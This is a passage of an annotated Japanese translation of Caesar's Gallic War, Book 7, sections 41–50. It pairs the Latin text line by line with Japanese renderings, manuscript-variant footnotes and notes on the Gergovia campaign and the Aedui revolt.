*tribusque horis noctis exercitui ad quietem datis castra ad [[w:la:Gergovia|Gergoviam]] movit. 
**（カエサルは）夜の3時間を軍隊に休息のために与えて、陣営を引き払ってゲルゴウィアの方へ向かった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：古代ローマの不定時法では、夏季の夜の3時間は、現在の定時法の3時間よりかなり短い。）&lt;/span&gt;
*②　Medio fere itinere equites a Fabio missi, 
**（ゲルゴウィアへの）道程のほぼ中間のところで、ファビウスから[[w:騎兵|騎兵]]たちが遣わされて来て、
*quanto res in periculo fuerit, exponunt. 
**事態がどれほどの危機にあるか、を打ち明けた。
*Summis copiis castra oppugnata demonstrant, 
**（ガッリア勢の）最大級の軍勢により（ローマ勢の）陣営が攻撃された、と説明した。
*cum crebro integri defessis succederent 
**そのときに（ガッリア勢は）たびたび新たな者たちが疲労した者たちに交代していたが、
*nostrosque adsiduo labore defatigarent, 
**我が方（ローマ勢）は絶え間ない労苦により疲れ果てていた。
*quibus propter magnitudinem castrorum perpetuo esset isdem in vallo permanendum. 
**彼ら（ローマ勢）にとり、陣営の大きさのために、同じ者たちが防柵の中に留まらざるを得なかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは[[#40節|40節]]②項で「陣営を縮小するための余地はなかった」とあらかじめ弁解している。）&lt;/span&gt;
*③　Multitudine sagittarum atque omnis generis&lt;ref&gt;omnis generis はα系写本の記述で、β系写本では omni genere となっている。&lt;/ref&gt; telorum multos vulneratos; 
**（ガッリア勢からの）矢の多数と飛び道具のあらゆる類いによって（ローマ勢の）多くのものが傷つけられた。
*ad haec sustinenda magno usui fuisse tormenta. 
**これに持ちこたえるために、投石器が大いに役立った。
*④　Fabium discessu eorum duabus relictis portis obstruere ceteras 
**ファビウスは、彼ら（ガッリア勢）が退却すると、2つの門を残して、ほか（の門）を閉鎖した。
*pluteosque vallo addere et se in posterum diem similemque casum apparare&lt;ref&gt;similemque casum apparare はα系写本の記述で、β系写本では similem ad casum parare となっている。&lt;/ref&gt;. 
**胸壁を防柵を付け加えて、翌日における似たような状況に備えた。
*⑤　His rebus cognitis Caesar 
**これらの事態を知って、カエサルは、
*summo studio militum ante ortum solis in castra pervenit.
**兵士たちの最大級の努力によって、日の出の前に（ゲルゴウィアの）陣営に到着した。

===42節===
'''ハエドゥイー族の者たちが反ローマ暴動を引き起こす'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアの辺りでなされている間に、
*[[w:la:Haedui|Haedui]] primis nuntiis ab Litavicco acceptis 
**[[w:ハエドゥイ族|ハエドゥイー族]]の者たちは、[[w:リタウィックス|リタウィックス]]からの最初の知らせを受け取ったが、
*nullum sibi ad cognoscendum spatium relinquunt. 
**自分たちには（この知らせを）調べるための余地を何ら残さなかった。
*②　Impellit alios avaritia, alios iracundia et temeritas 
**ある者たちを貪欲さが、ある者たちを激しやすさや無分別が駆り立てた。
*─ quae maxime illi hominum generi est innata ─ ut levem auditionem habeant pro re comperta. 
**あの種族の人々はとりわけ、軽率な風聞を確認された事として見なすように、生まれついているのだ。
*③　Bona civium Romanorum diripiunt, caedes faciunt, in servitutem abstrahunt. 
**（ハエドゥイー族の者たちは）ローマ市民たちの財産を略奪し、殺戮を行なって、隷属状態に引きずり込んだ。
*④　Adiuvat rem proclinatam Convictolitavis 
**（さらに）傾いた事態を[[w:コンウィクトリタウィス|コンウィクトリタウィス]]が助長して、
*plebemque ad furorem impellit, ut facinore admisso ad sanitatem reverti pudeat. 
**民衆を狂暴さへと、悪行を犯して冷静さへ引き返すことを恥と思うように、駆り立てた。
*⑤　M.(Marcum) Aristium tribunum militum iter ad legionem facientem 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるマルクス・アリスティウスが[[w:ローマ軍団|軍団]]のところへ旅しているところを
*fide data ex oppido [[w:la:Cabillonum|Cavillono]] educunt; 
**（安全の）保証を与えて、城塞都市カウィッロヌムから連れ出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌム Cavillonum はカビッロヌム Cabillonum とも綴り、現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]）&lt;/span&gt;
*idem facere cogunt eos, qui negotiandi causa ibi constiterant. 
**そこに商売をするために定住していた（ローマ人の）者たちにも同じことをするように強要した。
*⑥　Hos continuo &lt;in&gt;&lt;ref&gt;in は写本にないが、近世の活字本から挿入されている。&lt;/ref&gt; itinere adorti omnibus impedimentis exuunt; 
**直ちに彼らを途中で襲撃して、すべての手荷物を奪い取った。
*repugnantes diem noctemque obsident; 
**抵抗する者たちを昼夜にわたって包囲した。
*multis utrimque interfectis 
**（ハエドゥイー族とローマ人の）双方とも多くの者たちが殺されて、
*maiorem multitudinem armatorum&lt;ref&gt;armatorum はα系写本の記述で、β系写本では ad arma となっている。&lt;/ref&gt; concitant.
**（ハエドゥイー族の）より多くの群衆を武装へと扇動した。

===43節===
'''ハエドゥイー族当局がカエサルに屈服。ガッリア大動乱の予感'''
*①　Interim nuntio adlato omnes eorum milites in potestate Caesaris teneri, 
**その間に、彼ら（ハエドゥイー族）の兵士すべてがカエサルの権力下で支配されているという知らせがもたらされて、
*concurrunt ad Aristium, 
**（ハエドゥイー族当局の者たちは）アリスティウスのところへ急ぎ集まって、
*nihil publico factum consilio demonstrant; 
**（ローマ市民に対する襲撃は）何ら公けに企てがなされたものではないと説明した。
*②　quaestionem de bonis direptis decernunt, 
**（部族当局は、ローマ市民から）略奪された財産についての究明を決定して、
*Litavicci fratrumque bona publicant, 
**リタウィックスと兄弟たちの財産を没収し、
*legatos ad Caesarem sui purgandi gratia mittunt. 
**カエサルのところへ使節たちを、自分たちを赦免することのために遣わした。
*③　Haec faciunt reciperandorum&lt;ref&gt;reciperandorum はα系写本の記述で、β系写本では recuperandorum となっている。&lt;/ref&gt; suorum causa; 
**これらを、配下の者たち（＝歩兵1万名）を取り戻すために行なったのだ。
*sed contaminati facinore et capti compendio ex direptis bonis, 
**しかし（彼らは）悪行に汚染されていて、略奪した財産の利得にとらわれており、
*quod ea res ad multos pertinebat, timore&lt;ref&gt;timore はα系写本の記述で、β系写本では et timore となっている。&lt;/ref&gt; poenae exterriti 
**その事に多くの者たちが関与していたので、懲罰の恐れに脅かされて、
*consilia clam de bello inire incipiunt 
**ひそかに戦争の謀計に取りかかり始めて、
*civitatesque reliquas legationibus sollicitant. 
**ほかの諸部族を使節派遣によって、そそのかした。
*④　Quae tametsi Caesar intellegebat, tamen quam mitissime potest legatos appellat; 
**カエサルはそのようなことを認識していたけれども、（ハエドゥイー族の）使節たちにできるだけ平静に話しかけた。
*nihil se propter inscientiam levitatemque vulgi gravius de civitate iudicare 
**自分は（ハエドゥイー族の）民衆の無知や軽率さのために、部族を何ら厳重に裁断することはない、と。
*neque de sua in [[w:la:Haedui|Haeduos]] benevolentia deminuere. 
**自分のハエドゥイー族に対する好意を減ずることはない、と。
*⑤　Ipse maiorem Galliae motum exspectans, 
**（カエサル）自身は、ガッリアのより大きな動乱を予期しており、
*ne ab omnibus civitatibus circumsisteretur, 
**すべての部族によって包囲されることがないように、
*consilia inibat, quemadmodum ab&lt;ref&gt;ab はχ系写本の記述で、φ系写本では a となっており、β系写本にはない。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] discederet ac rursus omnem exercitum contraheret, 
**どのようにゲルゴウィアから撤退して再び軍隊全体を集結するか、策定に取りかかった。
*ne profectio nata ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; timore defectionis similis&lt;ref&gt;similis はα系写本の記述で、β系写本では similisque となっている。&lt;/ref&gt; fugae videretur.
**（諸部族の）背反の恐れから生じた出発が、逃亡同然と見られないように。

===44節===
'''ゲルゴウィアの急所の尾根'''
[[画像:Plateau_of_Gergovia.jpg|thumb|center|900px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の全景（南方のル・クレスト [[w:fr:Le Crest|Le Crest]] から撮影）。&lt;br&gt;画像中央の右下に、ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵が見える。&lt;br&gt;本節①項で言及されているのは画像の左端に写る丘陵と思われ、尾根伝いにほぼ平坦なゲルゴウィアの山頂（画像中央）に続いている。&lt;br&gt;これらの位置関係の推定は、19世紀の[[w:ウジェーヌ・ストッフェル|ウジェーヌ・ストッフェル]]大佐（colonel Eugène Stoffel）の発掘調査に依拠したものである。]]
[[画像:La_Roche_Blanche.JPG|thumb|right|300px|ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵]]

*①　Haec cogitanti accidere visa est facultas bene rei gerendae&lt;ref&gt;rei gerendae はα系写本の記述で、β系写本では gerendae rei となっている。&lt;/ref&gt;. 
**（カエサルが）これらを考慮しているときに、事をうまく行なえる可能性が生じたと思われた。
*Nam cum in minora castra operis perspiciendi causa venisset, 
**すなわち、（ローマ勢の）小さい方の陣営に、作業を視察するためにやって来たときに、
*animadvertit collem qui ab hostibus tenebatur nudatum hominibus, 
**敵たちによって占められていた丘陵が、無人にされているのに気付いた。
*qui superioribus diebus vix prae multitudine cerni poterat. 
**それは、前日には、（ガッリア勢の）大勢の者たちのためにほとんど見分けが付けられないものだった。
*②　Admiratus quaerit ex perfugis causam, 
**（カエサルは）驚いて、（ゲルゴウィアからの）[[w:脱走兵|脱走兵]]たちに理由を尋ねた。
*quorum magnus ad eum cotidie numerus confluebat. 
**その者たちの多数は、毎日、彼（カエサル）のところへ群がり集まっていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#14節|14節]]⑨項で既述のように、ガッリア勢は[[w:兵役逃れ|兵役忌避]]の多さに悩まされていた。）&lt;/span&gt;
*③　Constabat inter omnes 
**（脱走兵たち）皆の間では同じ意見であった。
*─ quod iam ipse Caesar per exploratores cognoverat ─ 
**─ すでにカエサル自身が偵察者たちを通して知っていたことであったが ─
*dorsum esse eius iugi prope aequum, sed silvestre&lt;ref&gt;silvestre はβ系写本の記述で、α系写本では hunc silvestrem となっている。&lt;/ref&gt; et angustum, 
**その尾根の背面はほぼ平地で、しかし森林におおわれて狭く、
*qua esset aditus ad alteram partem oppidi&lt;ref&gt;partem oppidi はα系写本の記述で、β系写本では oppidi partem となっている。&lt;/ref&gt;; 
**それによって城塞都市の別の方面への出入口となっている、と。
*④　vehementer huic illos loco&lt;ref&gt;vehementer huic illos loco はα系写本の記述で、β系写本では huic loco vehementer illos となっている。&lt;/ref&gt; timere nec iam aliter sentire, 
**この地帯を彼ら（ガッリア勢）が極度に恐れ、すでに感じていたことには、
*uno colle ab Romanis occupato, si alterum amisissent, 
**ローマ人によって一つの丘陵が占領されているので、もしもう一方をも失ったならば、
*quin paene circumvallati atque omni exitu et pabulatione interclusi viderentur; 
**（ゲルゴウィアが）ほとんど包囲されて、あらゆる出口と糧秣徴発を阻まれると思われたのである。
*ad hunc muniendum locum&lt;ref&gt;locum はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; omnes a [[w:la:Vercingetorix|Vercingetorige]] evocatos.
**この地帯の辺りを防御するために、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により総勢が召集されていたのだ、と。

===45節===
'''ローマ勢の陽動部隊が敵を引き付け、本隊が敵の本陣を目指す'''
*①　Hac re cognita Caesar mittit complures equitum turmas eodem&lt;ref&gt;eodem はβ系写本の記述で、α系写本では eisdem などとなっており、またモイゼル（Meusel）は eo de と解釈している。&lt;/ref&gt; media nocte; 
**この事を知って、カエサルは多数の[[w:騎兵|騎兵]]&lt;ruby&gt;&lt;rb&gt;小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を同じところに真夜中に派遣した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：騎兵小隊 turma は、ローマの同盟部族などからなる騎兵の単位で、30騎ほどからなるとされている。）&lt;/span&gt;
*imperat his&lt;ref&gt;his はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; ut paulo tumultuosius omnibus locis vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では pervagentur となっている。&lt;/ref&gt;. 
**彼らには、いくらか騒々しく、あらゆる場所を動き回るように命令した。
*②　Prima luce magnum numerum impedimentorum ex castris mulorumque produci deque his stramenta detrahi 
**夜明けに、陣営から多数の荷馬や[[w:ラバ|ラバ]]を連れ出して、これらから[[w:鞍|荷鞍]]を取り去って、
*mulionesque cum cassidibus equitum specie ac simulatione collibus circumvehi iubet. 
**ラバ引きの者たちを鉄兜とともに、騎兵の外見と真似をさせて、丘々を乗り回すことを命じた。
*③　His paucos addit equites, qui latius ostentationis causa vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では vagentur となっている。&lt;/ref&gt;. 
**彼らに少数の騎兵を付き添わせて、より広く見せびらかすために動き回らせた。
*Longo circuitu easdem omnes iubet petere regiones. 
**（ラバ引きと騎兵の）皆には、長く迂回して、同じ一帯を目指すことを命じた。
*④　Haec procul ex oppido videbantur, ut erat a Gergovia despectus in castra, 
**これらは&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から遠くに望見され、ゲルゴウィアから（ローマ勢の）陣営が眺められたほどであったが、
*neque tanto spatio certi quid esset explorari poterat. 
**これほどの距離のために（ガッリア勢からは）何ごとか確かなことは探り出されなかった。
*⑤　Legionem unam eodem iugo mittit 
**（カエサルは）1個[[w:ローマ軍団|軍団]]を同じ尾根に派遣して、
*et paulum progressam inferiore constituit loco silvisque occultat. 
**いくらか前進させて低い場所に駐留させ、森林に隠した。
*⑥　Augetur Gallis suspicio 
**（これらを見た）ガッリア人には疑念が増されて、
*atque omnes illo ad munitionem copiae traducuntur. 
**軍勢のすべてがあそこ（＝無人にしていた急所の丘陵）へ防御のために移動した。
*⑦　Vacua castra hostium Caesar conspicatus 
**カエサルは敵たちの（ゲルゴウィア山頂の）陣営が空であると気付いて、
*tectis insignibus suorum occultatisque signis militaribus 
**配下の者たちの標章を覆い隠し、軍旗を隠して、
*raros milites, ne ex oppido animadverterentur, ex maioribus castris in minora traducit 
**兵士たちをまばらに、城塞都市から気付かれないように、大きい方の陣営から小さい方に移動させた。
*legatisque, quos singulis legionibus praefecerat, quid fieri velit, ostendit; 
**個々の軍団を指揮させていた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、何がなされることを欲しているかを示した。
*⑧　in primis monet ut contineant milites, 
**第一に、兵士たちを抑え留めるように戒めた。
*ne studio pugnandi aut spe praedae longius progrediantur; 
**（兵士たちが）戦うことの熱意、あるいは略奪の希望により、より遠くまで進み出ないように、と。
*⑨　quid iniquitas loci habeat incommodi proponit; 
**地勢の不利がどれほど敗北を生じるかを示した。
*hoc una celeritate posse vitari&lt;ref&gt;vitari はβ系写本の記述で、α系写本では mutari となっている。&lt;/ref&gt;; 
**迅速さのみがこれを避けることができる。
*occasionis esse rem, non proelii. 
**事の成否は、戦闘にではなく、好機にかかっている。
*⑩　His rebus expositis signum dat 
**これらの事柄を説明して、（副官たちに進軍の）号令を出した。
*et ab dextra parte alio ascensu eodem tempore Haeduos mittit.
**右の方面からは、別の登り道を（ローマ軍本隊と）同時に[[w:ハエドゥイ族|ハエドゥイー族]]（の騎兵）を派遣した。

===46節===
'''ローマ軍の本隊が防壁を越えて、敵陣の一部を占拠'''
*①　Oppidi murus ab&lt;ref&gt;ab はB･M･L･N写本の記述で、β系写本では a となっている。&lt;/ref&gt; planitie atque initio ascensus recta regione, 
**（ゲルゴウィアの）&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の城壁は、平地や登り道の始まりから真っ直ぐに（＝直線距離で）、
*si nullus amfractus&lt;ref&gt;amfractus はα系写本の記述で、β系写本では anfractus となっている。&lt;/ref&gt; intercederet, mille CC(mille ducenti)&lt;ref&gt;mille CC(=1200) はα系写本の記述で、β系写本では CC（=200）となっている。&lt;/ref&gt; passus aberat; 
**もし何らの湾曲が間になければ、1200[[w:パッスス|パッスス]]（＝約1.8km）離れていた。
*②　quicquid huc circuitus ad molliendum clivum accesserat&lt;ref&gt;accesserat は写本(ω)の記述だが、オットー・ゼール [[w:de:Otto Seel|Otto Seel]] の校訂では accesserit としている。&lt;/ref&gt;, 
**ここに（山の斜面の）傾斜を緩和するために、何らかの回り道が付け加わっていて、
*id spatium itineris augebat. 
**その道のりの距離を増していた。
*③　A medio fere colle in longitudinem, ut natura montis ferebat, 
**丘陵のほぼ真ん中から、山の地形が作り出したかのように、長きにわたって、
*ex grandibus saxis sex pedum murum qui nostrum&lt;ref&gt;nostrum は中世の写本(ω)の記述だが、近世の版では nostrorum となっている。&lt;/ref&gt; impetum tardaret, 
**大きな石垣からなる6[[w:ペース (長さ)|ペース]]（＝約1.8m）もの、我が方（ローマ勢）の突進を遅らせる防壁を、
*praeduxerant Galli, 
**ガッリア人は引いて来ており、
*atque inferiore omni spatio vacuo relicto 
**（その石垣の防壁）より下方のすべての空間は人気なく残されていて、
*superiorem partem collis usque ad murum oppidi densissimis castris compleverant. 
**丘陵のより上方の部分を、城塞都市の城壁の方へ続けざまに、とても密集した（各部族ごとの）陣営で満たしていた。
*④　Milites dato signo celeriter ad munitionem perveniunt 
**（ローマ人の）兵士たちは号令を与えられて、速やかに（石垣の）防壁のところへ到達して、
*eamque transgressi trinis castris potiuntur; 
**それを越えて行って、3つの（部族ごとの）陣営を占拠した。
*⑤　ac tanta fuit in castris capiendis&lt;ref&gt;castris capiendis はα系写本の記述で、β系写本では capiendis castris となっている。&lt;/ref&gt; celeritas, 
**（3つの）陣営を奪取することにおいて、これほどにも迅速さがあったので、
*ut Teutomatus, rex Nitiobrogum, subito in tabernaculo oppressus, 
**その結果、[[w:ニティオブロゲス族|ニティオブロゲス族]]の王[[w:テウトマトゥス|テウトマトゥス]]は、[[w:テント|天幕]]において突然に襲われて、
*ut meridie conquieverat, superiore corporis parte nudata&lt;ref&gt;nudata はα系写本の記述で、β系写本では nuda となっている。&lt;/ref&gt; 
**昼寝をしていたが、上半身は裸のままで、
*vulnerato equo vix se ex manibus praedantium militum eriperet.
**傷付けられた馬によって、略奪している（ローマ人）兵士の手から、やっと自らを救い出した。

===47節===
'''血気にはやるローマ兵たちの猪突猛進、ガッリア女たちの命乞い'''
*①　Consecutus id quod animo proposuerat 
**心に決めていたことを達成したので、
*Caesar receptui cani iussit 
**カエサルは退却ラッパを吹くことを命じた。
*legionique decimae, quacum erat, contionatus signa constituit. 
**彼とともにいた[[w:第10軍団エクェストリス|第10軍団]]に呼びかけて、軍旗を停止した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第10軍団はガッリア戦争初期からの最古参の軍団。軍旗を停止するとは、進軍を止めること。）&lt;/span&gt;
*②　Ac&lt;ref&gt;ac はα系写本の記述で、β系写本では at となっている。&lt;/ref&gt; reliquarum legionum milites non exaudito&lt;ref&gt;exaudito はα系写本の記述で、β系写本では audito となっている。&lt;/ref&gt; sono tubae, 
**ほかの[[w:ローマ軍団|軍団]]の兵士たちは、ラッパの響きを聞き取れなかった。
*quod satis magna valles intercedebat, 
**というのは、十分に大きな峡谷が間にあったからである。
*tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque, ut erat a Caesare praeceptum, retinebantur; 
**しかしながら、&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちにより、カエサルから指図されていたように、制止されていた。
*③　Sed elati spe celeris victoriae et hostium fuga et superiorum temporum secundis proeliis 
**だが（兵士たちは）迅速な勝利の希望や、敵たちの逃亡や、それ以前のときの順調な戦闘により、高慢になっていて、
*nihil adeo arduum sibi esse existimaverunt&lt;ref&gt;esse existimaverunt はα系写本の記述で、β系写本では existimabant となっている。&lt;/ref&gt;, quod non virtute consequi possent, 
**自分たちにとって、武勇で達することができないほどの困難なものはまったく何もない、と考えており、
*neque finem prius sequendi fecerunt quam muro oppidi portisque adpropinquarunt. 
**（ゲルゴウィアの）城塞都市の城壁や城門に近付くまでは、追及を終結させなかった。
*④　Tum vero ex omnibus urbis partibus orto clamore, 
**すると、まさに（ゲルゴウィアの）町のあらゆる方面から叫び声が発せられて、
*qui longius aberant, repentino tumultu perterriti, 
**（城内の）遠い方に離れていた者たちは、予期せぬ騒ぎに脅えており、
*cum hostem intra portas esse existimarent, 
**敵（＝ローマ人）が城門の内側にいると考えたので、
*sese ex oppido eiecerunt. 
**城塞都市から急ぎ出た。
*⑤　Matres familiae de muro vestem argentumque iactabant 
**家庭の母親たちは、城壁から衣類や貨幣をたびたび投げやった。
*et pectore nudo prominentes passis manibus obtestabantur Romanos, 
**そして胸を裸にして（城壁の上に）進み出て、手を伸ばしてローマ人たちに哀願した。
*ut sibi parcerent 
**自分たちを容赦するように、
*neu, sicut Avarici fecissent, ne a mulieribus quidem atque infantibus abstinerent; 
**（ローマ人が）アウァーリクムでしたように女たちや子供たちでさえも赦免しないことのないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ローマ人がアウァーリクムでした行為については、[[#28節|28節]]④項を参照。）&lt;/span&gt;
*⑥　nonnullae de muris&lt;ref&gt;muris はα系写本の記述で、β系写本では mure となっている。&lt;/ref&gt; per manus demissae sese militibus tradebant. 
**少なからぬ者たちは、城壁から手で降ろされて、（ローマ人）兵士たちに身を任せた。

[[画像:Gergovie_mur_pano2.jpg|thumb|center|700px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）で発掘された城壁の遺構。]]

*⑦　L.(Lucius) Fabius centurio legionis VIII(octavae), 
**[[w:第8軍団アウグスタ|第8軍団]]の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるルキウス・ファビウスは、
*quem inter suos eo die dixisse constabat 
**配下の者たちの間で、その日、（以下のように）言ったことが知られていた。
*excitari se Avaricensibus praemiis neque commissurum, ut prius quisquam murum ascenderet, 
**自分はアウァーリクムの恩賞に奮い立たせられて、何者かが（自分）より早く城壁を登るようなことは生じさせない、と。
*tres suos nactus manipulares 
**（ファビウスは）同じ隊の兵士である3人の配下と遭遇して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：manipulares は「[[w:マニプルス|歩兵中隊]]の」とも解されるが、ここでは「同じ隊の兵士」という意味であろう。）&lt;/span&gt;
*atque ab his sublevatus murum ascendit, 
**彼らによって持ち上げられて城壁を登った。
*hos&lt;ref&gt;hos はα系写本の記述で、π系写本では eos 、ρ系写本では eo となっている。&lt;/ref&gt; ipse rursus singulos exceptans in murum extulit.
**彼らは（ファビウス）自身が再び1人ずつ引き出して、城壁に導き上げた。

===48節===
'''ガッリア勢が城塞都市に引き返して、防戦に努める'''
*①　Interim hi&lt;ref&gt;hi はα系･π系･R写本の記述で、U写本では ii となっている。&lt;/ref&gt; qui ad alteram partem oppidi, ut supra demonstravimus, munitionis causa convenerant, 
**その間に、前に述べたように、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の別の方面へ、防御のために集結していた（ガッリア勢の）者たちは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#45節|45節]]⑥項で述べられている。）&lt;/span&gt;
*primo exaudito clamore, 
**初めに叫び声を聞き取り、
*inde etiam crebris nuntiis incitati oppidum ab Romanis teneri, 
**さらに、城塞都市がローマ人たちによって占領されたという頻繁な知らせにさえも駆り立てられて、
*praemissis equitibus magno concursu&lt;ref&gt;concursu はα系写本の記述で、β系写本では cursu となっている。&lt;/ref&gt; eo contenderunt. 
**[[w:騎兵|騎兵]]たちを先遣して、（歩兵たちも）駆けに駆けて、そこ（＝城塞都市）へ急いだ。

[[画像:Auvergne_Gaul_coin_CdM.jpg|thumb|right|300px|[[w:アルウェルニ族|アルウェルニー族]]の兵士が刻まれた貨幣（[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部所蔵）]]
*②　Eorum ut quisque primus venerat, 
**彼らの（城塞都市に）到着した者から順々に
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quisque primus「最初の者ごとに；順々に」）&lt;/span&gt;
*sub muro consistebat suorumque pugnantium numerum augebat. 
**城壁の下に陣取って、味方の戦う者たちの数を増した。
*③　Quorum cum magna multitudo convenisset, 
**その者たちの大群集が集結したときに、
*matres familiae quae paulo ante Romanis de muro manus tendebant, 
**少し前にはローマ人たちに城壁から手を差し出していた家庭の母親たちが
*suos obtestari 
**味方に哀願して、
*et more Gallico passum capillum ostentare liberosque in conspectum proferre coeperunt. 
**ガッリアの風習により、髪を広げて示し、子供たちを（男たちの）眼前に運び始めた。
*④　Erat Romanis nec loco nec numero aequa contentio; 
**ローマ人たちにとっては、地の利でも（兵の）数でも、対等な闘いはなかった。
*simul et cursu et spatio pugnae defatigati 
**と同時に、戦いの疾走や時間（の長さ）に疲弊させられていて、
*non facile recentes atque integros sustinebant.
**（ガッリア勢の）新来かつ無傷の者たちに、容易に持ちこたえられなかった。

===49節===
'''カエサルが劣勢の自軍に副官セクスティウスを増援する'''
*①　Caesar cum iniquo loco pugnari hostiumque augeri copias videret, 
**カエサルは（戦闘が自軍に）不利な場所で戦われていること、かつ敵方の軍勢が増やされていることを見たので、
*praemetuens suis 
**配下の者たちを気遣って、
*ad T.(Titum) Sextium legatum, quem minoribus castris praesidio reliquerat, misit, 
**小さい方の陣営に守備として残しておいた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスのところへ（伝令を）遣わして、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セクスティウスについては、すでに副官として[[ガリア戦記 第6巻#1節|第6巻1節]]で言及されている。）&lt;/span&gt;
*ut cohortes ex castris celeriter educeret 
**陣営から（いくつかの）&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を速やかに進発させるように、
*et sub infimo colle ab dextro latere hostium constitueret, 
**かつ丘陵のふもとの下方で、敵方の右の側面に布陣するように、と。
*②　ut, si nostros loco depulsos vidisset, quominus libere hostes insequerentur terreret. 
**もし我が方が（戦闘の）場所から追いやられたのを見たら、敵方が自由に追撃することにならぬよう脅かすためである。
*③　Ipse paulum ex eo loco cum legione progressus, ubi constiterat, 
**（カエサル）自身は、停止していた場所から、軍団とともに少し前進して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#47節|47節]]①項で既述のように、カエサルとともに停止していたのは[[w:第10軍団エクェストリス|第10軍団]]である。）&lt;/span&gt;
*eventum pugnae exspectabat.
**戦いの決着を待っていた。

===50節===
'''激戦の末、敗勢に陥るローマ軍'''
*①　Cum acerrime comminus pugnaretur, hostes loco et numero, nostri virtute confiderent, 
**（両軍により）激烈に格闘して戦われていて、敵方は地の利と（兵の）数を、我が方（ローマ軍）が武勇を頼りとしていたときに、
*subito sunt Haedui visi ab latere nostris aperto, 
**突如として、我が方にとって開けた側面（＝右側）から、[[w:ハエドゥイ族|ハエドゥイー族]]の者たち（の姿）が見られた。
